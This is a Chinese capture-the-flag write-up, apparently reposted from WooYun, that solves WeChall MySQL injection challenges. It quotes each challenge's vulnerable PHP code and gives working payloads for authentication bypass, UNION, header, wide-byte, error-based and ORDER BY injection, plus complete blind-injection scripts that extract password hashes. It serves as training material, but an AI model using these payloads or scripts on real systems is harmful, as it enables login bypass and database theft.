<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/papers/1321

    特別鳴謝 Random Debug Slipper 對我的無私幫助

    PS:雖然是一份題解,但是其中某些題目的解法還有些不盡人意。如有更好的思路歡迎留言評論 :)

    QQ:915910623

    Training: MySQL I


    最簡單的注入情況,參數沒有經過任何過濾就帶入查詢

    漏洞代碼:

    #!php
    function auth1_onLogin(WC_Challenge $chall, $username, $password)
    {
            $db = auth1_db();
    
            $password = md5($password);
    
            $query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
    
            if (false === ($result = $db->queryFirst($query))) {
                    echo GWF_HTML::error('Auth1', $chall->lang('err_unknown'), false); # Unknown user
                    return false;
            }
    
            # Welcome back!
            echo GWF_HTML::message('Auth1', $chall->lang('msg_welcome_back', htmlspecialchars($result['username'])), false);
    
            # Challenge solved?
            if (strtolower($result['username']) === 'admin') {
                    $chall->onChallengeSolved(GWF_Session::getUserID());
            }
    
            return true;
    }
    

    利用語句:

    username=admin' -- 
    

    MySQL Authentication Bypass II


    比較基礎的題目,和上一題不同,username password分開來驗證。通常的利用方法是使用union構造已知MD5值的查詢。

    漏洞代碼:

    #!php
    function auth2_onLogin(WC_Challenge $chall, $username, $password)
    {
            $db = auth2_db();
    
            $password = md5($password);
    
            $query = "SELECT * FROM users WHERE username='$username'";
    
            if (false === ($result = $db->queryFirst($query))) {
                    echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
                    return false;
            }
    
    
            #############################
            ### This is the new check ###
            if ($result['password'] !== $password) {
                    echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
                    return false;
            } #  End of the new code  ###
            #############################
    
    
            echo GWF_HTML::message('Auth2', $chall->lang('msg_welcome_back', array(htmlspecialchars($result['username']))), false);
    
            if (strtolower($result['username']) === 'admin') {
                    $chall->onChallengeSolved(GWF_Session::getUserID());
            }
    
            return true;
    }
    

    利用語句:

    username=wyl' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b' --  &password=1&login=Login
    

    也可以直接使用mysql自帶的 MD5 函數來生成 hash

    username=wyl' union select 1,'admin',md5('1') --  &password=1&login=Login
    

    No Escape


    一個投票的功能,使用mysql_real_escape_string() 對參數進行了過濾,不過并不需要繞過它,因為它并不會過濾重音符(backtick)

    漏洞代碼:

    #!php
    function noesc_voteup($who)
    {
            if ( (stripos($who, 'id') !== false) || (strpos($who, '/') !== false) ) {
                    echo GWF_HTML::error('No Escape', 'Please do not mess with the id. It would break the challenge for others', false);
                    return;
            }
    
    
            $db = noesc_db();
            $who = mysql_real_escape_string($who);
            $query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";
            if (false !== $db->queryWrite($query)) {
                    echo GWF_HTML::message('No Escape', 'Vote counted for '.GWF_HTML::display($who), false);
            }
    
            noesc_stop100();
    }
    

    利用方式:

    vote_for=bill` = `bill` %2b 111 where bill=0 --%20
    

    當然也可以寫的簡短一點

    barack`=111#
    

    The Guestbook


    一個留言本的程序,其中大部分參數都經過了過濾,但是IP地址直接帶入insert語句,可以構造一個x-forwraded-for來實現注入

    需要在insert語句中使用select子查詢

    漏洞代碼:

    #!php
    function gbook_getIP()
    {
            if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
                    return $_SERVER['HTTP_X_FORWARDED_FOR'];
            }
            elseif (isset($_SERVER['HTTP_VIA'])) { 
                    return $_SERVER['HTTP_VIA'];
            }
            else {
                    return $_SERVER['REMOTE_ADDR'];
            }
    }
    

    利用方式:

    頭中不能使用urlencode,末尾空格會被會忽略

    X-Forwarded-For: 127.0.0.1,8888',(select gbu_password from gbook_user where gbu_name='admin')) #
    

    如果非要使用--也可以這樣構造

    X-Forwarded-For: 127.0.0.1,8888',(select gbu_password from gbook_user where gbu_name='admin')) -- a
    

    MD5.SALT


    這道題是一道簡單的注入,不過需要破解MD5,在網站上付費一下就可以了。

    漏洞代碼:

    題目沒有給出源代碼

    利用方式:

    ' union select password,2 from users -- 
    

    Addslashes


    這題的參數使用了Addslashes()函數進行了過濾,使用雙字節繞過即可。

    漏洞代碼:

    #!php
    function asvsmysql_login($username, $password)
    {
            $username = addslashes($username);
            $password = md5($password);
    
            if (false === ($db = gdo_db_instance('localhost', ADDSLASH_USERNAME, ADDSLASH_PASSWORD, ADDSLASH_DATABASE, GWF_DB_TYPE, 'GBK'))) {
                    return htmlDisplayError('Can`t connect to database.');
            }
    
            $db->setLogging(false);
            $db->setEMailOnError(false);
    
            $query = "SELECT username FROM users WHERE username='$username' AND password='$password'";
    
            if (false === ($result = $db->queryFirst($query))) {
                    return htmlDisplayError('Wrong username/password.');
            }
    
            if ($result['username'] !== 'Admin') {
                    return htmlDisplayError('You are logged in, but not as Admin.');
            }
    
            return htmlDisplayMessage('You are logged in. congrats!');
    }
    

    利用方式:

    使用limit猜測一下,admin的位置

    username=Admin%bf' union select username from users limit 1,1 -- 
    

    或者直接構造一個admin出來

    username=%b3%27+union+select+Char(65,100,109,105,110)/*
    

    當然這些方法,主要是為了繞過單引號,還有一些有趣的利用

    username=%bf%27 OR CONV(username,36,10) = 17431871#
    

    Blinded by the light


    盲注,參數沒用經過過濾,猜測一個32位的hash,但是要求在128次之內猜解出來,使用二分即可。

    漏洞代碼:

    #!php
    function blightVuln($password)
    {
            # Do not mess with other sessions!
            if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
            {
                    return false;
            }
    
            $db = blightDB();
            $sessid = GWF_Session::getSession()->getID();
            $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
            return $db->queryFirst($query) !== false;
    }
    

    利用腳本:

    常規的二分盲注

    #!python
    import urllib
    import urllib2
    def doinject(payload):
        url = 'http://www.wechall.net/challenge/blind_light/index.php'
        values = {'injection':payload,'inject':'Inject'}
        data = urllib.urlencode(values)
        #print data
        req = urllib2.Request(url, data)
        req.add_header('cookie','WC=7205526-10787-ZSOZPXjj8gf4BE7K')
        response = urllib2.urlopen(req)
        the_page = response.read()
        if (the_page.find("Welcome back")>0):
            return True
        else:
            return False
    
    
    wordlist = "0123456789ABCDEF"
    res = ""
    for i in range(1,33):
        s=0
        t=15
        while (s<t):
            if (t-s==1):
                if doinject('\' or substring(password,'+str(i)+',1)=\''+wordlist[t]+'\' -- '):
                    m=t
                    break
                else:
                    m=s
                    break
            m=(s+t)/2
            if doinject('\' or substring(password,'+str(i)+',1)>\''+wordlist[m]+'\' -- '):
                s=m+1
                print wordlist[s]+":"+wordlist[t]
            else:
                t=m
                print wordlist[s]+":"+wordlist[t]
        res = res+wordlist[m]
        print res
    

    使用正則表達式的盲注

    #!php
    $sUrl = 'http://www.wechall.net/challenge/blind_light/index.php';
    $sPost = 'inject=Inject&injection=';
    $sCharset = 'ABCDEF0123456789';
    
    
    /* for every character */
    for ($i=0, $hash=''; $i<32; ++$i) {
            $ch = $sCharset;
    
            do {
                    $ch1 = substr($ch, 0, intval(strlen($ch)/2));
                    $ch2 = substr($ch, intval(strlen($ch)/2));
    
                    $p = $sPost.'absolutelyimpossible\' OR 1=(SELECT 1 FROM blight WHERE password REGEXP \'^'.$hash.'['.$ch1.']\' AND sessid=xxx) AND \'1\'=\'1';
                    $res = libHTTP::POST($sUrl, $p);
    
                    if (strpos($res['content'], 'Your password is wrong') === false)
                            $ch = $ch1;
                    else 
                            $ch = $ch2;
    
            } while (strlen($ch) > 1);
    
            $hash .= $ch;
            echo "\rhash: ".$hash;
    }
    

    Blinded by the lighter


    這題和上題相同,只不過把次數減少成為33次

    漏洞代碼:

    #!php
    function blightVuln($password)
    {
            # Do not mess with other sessions!
            if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
            {
                    return false;
            }
    
            $db = blightDB();
            $sessid = GWF_Session::getSessSID();
            $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
            return $db->queryFirst($query) !== false;
    }
    

    利用方式:

    使用基于時間的注入來判斷字符ascii碼

    ' or benchmark(ord(substr(password,1,1))*1000000,MD5(1))
    

    這樣做可以提高一點精確度

    ' or sleep(ord(substr(password,1,1)))
    

    ps.這題使用這種方法寫的腳本,在精度上會出現問題,如果有什么好的思路請留言告知~~~~

    Light in the Darkness


    上面兩題的加強版,只允許2次查詢。不過是返回錯誤信息的盲注。可以使用雙查詢報錯。

    漏洞代碼:

    #!php
    function blightVuln($password)
    {
            # Do not mess with other sessions!
            if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
            {
                    return false;
            }
    
            $db = blightDB();
            $sessid = GWF_Session::getSessSID();
            $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
            return $db->queryFirst($query) !== false;
    }
    

    利用方式:

    1' or (select count(*) from information_schema.tables group by concat(password,floor(rand(0)*2))) -- 
    

    我其實對這種報錯方式的原理很好奇,也很不解,有感興趣的同學歡迎指教。

    下面是我對這題的幾點疑惑:

    特別是使用用戶變量時,反應也很神奇,比如這題的另一種解法,不明白其中的原理。

     '||(select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2))||'
    

    我當時設想出這樣一種解法,[email protected][email protected]

    ' or (@lanlan:=password) or (select 1 from(select count(*),concat(@lanlan,floor(rand(0)*2))x from information_schema.tables group by x)a) -- 
    

    Are you blind?


    這題也是一道盲注,可是不管對錯返回的結果一樣。可以使用order by報錯的方法來盲注。

    漏洞代碼:

    #!php
    function blightVuln(WC_Challenge $chall, $password, $attempt)
    {
            # Do not mess with other sessions!
            if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )
            {
                    return $chall->lang('mawekl_blinds_you', array($attempt));
            }
    
            # And please, no timing attempts!
            if ( (stripos($password, 'benchmark') !== false) || (stripos($password, 'sleep') !== false) )
            {
                    return $chall->lang('mawekl_blinds_you', array($attempt));
            }
    
            $db = blightDB();
            $sessid = GWF_Session::getSessSID();
            $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
            return $db->queryFirst($query) ? 
                    $chall->lang('mawekl_blinds_you', array($attempt)) :
                    $chall->lang('mawekl_blinds_you', array($attempt)) ;
    }
    

    利用語句:

    injection=' or  if(1,1,(select 1 union select 2)) = 1 -- &inject=Inject
    

    Order By Query


    這是一個在order by后面的注入,可以直接使用雙查詢報錯來解決。也可以使用盲注的手法猜測。

    漏洞代碼:

    #!php
    function addslash2_sort($orderby, $dir)
    {
            if (false === ($db = addslash2_get_db())) {
                    return false;
            }
            static $whitelist = array(1, 3, 4, 5);
            static $names = array(1 => 'Username', 3 => 'Apples', 4 => 'Bananas', 5 => 'Cherries');
    
            $dir = GDO::getWhitelistedDirS($dir, 'DESC');
    
            if (!in_array($orderby, $whitelist)) {
                    return htmlDisplayError('Error 1010101: Not in whitelist.');
            }
    
            $orderby = $db->escape($orderby);
    
            $query = "SELECT * FROM users ORDER BY $orderby $dir LIMIT 10";
            if (false === ($rows = $db->queryAll($query))) {
                    return false;
            }
    
            $headers = array(
                    array('#'),
                    array('Username', '1', 'ASC'),
                    array('Apples', '3', 'DESC'),
                    array('Bananas', '4', 'DESC'),
                    array('Cherries', '5', 'DESC'),
            );
            echo '<div class="box box_c">'.PHP_EOL;
            echo '<table>'.PHP_EOL;
            echo GWF_Table::displayHeaders1($headers, GWF_WEB_ROOT.'challenge/order_by_query/index.php?by=%BY%&dir=%DIR%');
            $i = 1;
            foreach ($rows as $row)
            {
                    echo GWF_Table::rowStart();
                    echo sprintf('<td align="right">%d</td>', $i++);
                    echo sprintf('<td>%s</td>', $row['username']);
                    echo sprintf('<td align="right">%s</td>', $row['apples']);
                    echo sprintf('<td align="right">%s</td>', $row['bananas']);
                    echo sprintf('<td align="right">%s</td>', $row['cherries']);
                    echo GWF_Table::rowEnd();
            }
            echo '</table>'.PHP_EOL;
            echo '</div>'.PHP_EOL;
    }
    

    利用方式:

    by=5 and (select 1 from(select count(*),concat((select password from users where username=0x41646d696e),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a) --
    

    盲注腳本

    #!php
    <?php
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_COOKIE, 'WC4_SID=xxxxxxxxxxxxxxxxxxxxxxx');
    $charset = 'ABCDEF0123456789';
    $hash = '';
    for($i=0;$i<32;$i++)
    {
            $strona = '';
            $index=0;
            for($j=0;strpos($strona,'10</td><td>Admin') === false;$j++)
            {
                    curl_setopt($curl, CURLOPT_URL, 'http://www.wechall.net/challenge/order_by_query/index.php?by=3,%20CASE%20username%20WHEN%200x41646d696e%20THEN%202-%28password%20REGEXP%200x5e'.$hash.dechex(ord($charset[$index++])).'%29%20ELSE%202%20END--');
                    $strona = curl_exec ($curl);
            }
            $hash .= ''.dechex(ord($charset[--$index]));
    }
    curl_close($curl);
    echo $hash;
    ?>
    

    Table Names


    猜測表名和數據庫名的題目,直接查詢information_schema即可

    漏洞代碼:

    沒有給出源代碼

    利用方式:

    得到表名

    username=wyl' union select 1,2,table_name from information_schema.columns where column_name='username' limit 1,1 -- 
    

    得到數據庫名

    username=wyl' union select 1,2,database() -- 
    

    Table Names II

    這道題同樣是猜測,數據庫名和表名,不過很多關鍵詞都被過濾了。查到mysql的版本,根據文檔找information_schema里面的表, 一個一個試一下就行了。

    漏洞代碼:

    #!php
    <?php
    $secret = require('secret.php');
    chdir('../../../');
    define('GWF_PAGE_TITLE', 'Table Names II');
    require_once('challenge/html_head.php');
    require(GWF_CORE_PATH.'module/WeChall/solutionbox.php');
    
    if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE)))
    {
            $chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 6, 'challenge/nurfed/more_table_names/index.php', $secret['flag']);
    }
    $chall->showHeader();
    $chall->onCheckSolution();
    
    if (false !== Common::getGet('login'))
    {
            $username = Common::getGetString('username', '');
            $password = Common::getGetString('password', '');
    
            if (preg_match('/statistics|tables|columns|table_constraints|key_column_usage|partitions|schema_privileges|schemata|database|schema\(\)/i', $username.$password))
            {
                    echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_match'));
            }
            else
            {
                    if (false === ($db = gdo_db_instance($secret['host'], $secret['username'], $secret['password'], $secret['database'])))
                    {
                            die('Database error.');
                    }
    
                    $db->setVerbose(false);
                    $db->setLogging(false);
                    $db->setEMailOnError(false);
    
    
                    $query = "SELECT * FROM {$secret['database']}.{$secret['table_name']} WHERE username='$username' AND password='$password'";
                    if (false === ($result = ($db->queryFirst($query, false))))
                    {
                            echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_login_fail'));
                    }
                    else
                    {
                            echo GWF_HTML::message(GWF_PAGE_TITLE, $chall->lang('on_logged_in', array(GWF_HTML::display($result['username']), GWF_HTML::display($result['message']))));
                    }
            }
    }
    
    ?>
    <div class="box box_c">
    <form action="challenge.php" method="get">
    <div><?php echo $chall->lang('username'); ?>: <input type="text" name="username" value="" /></div>
    <div><?php echo $chall->lang('password'); ?>: <input type="text" name="password" value="" /></div>
    <div><input type="submit" name="login" value="<?php echo $chall->lang('login'); ?>" /></div>
    </form>
    </div>
    <?php
    echo $chall->copyrightFooter();
    require_once('challenge/html_foot.php');
    

    利用方式:

    ' union select 1,2,info from information_schema.processlist-- -
    

    Credit Card Challenge Pwned!


    這題描述特別長,看了半天就是發送一個頁面給管理員,csrf+injection。

    97av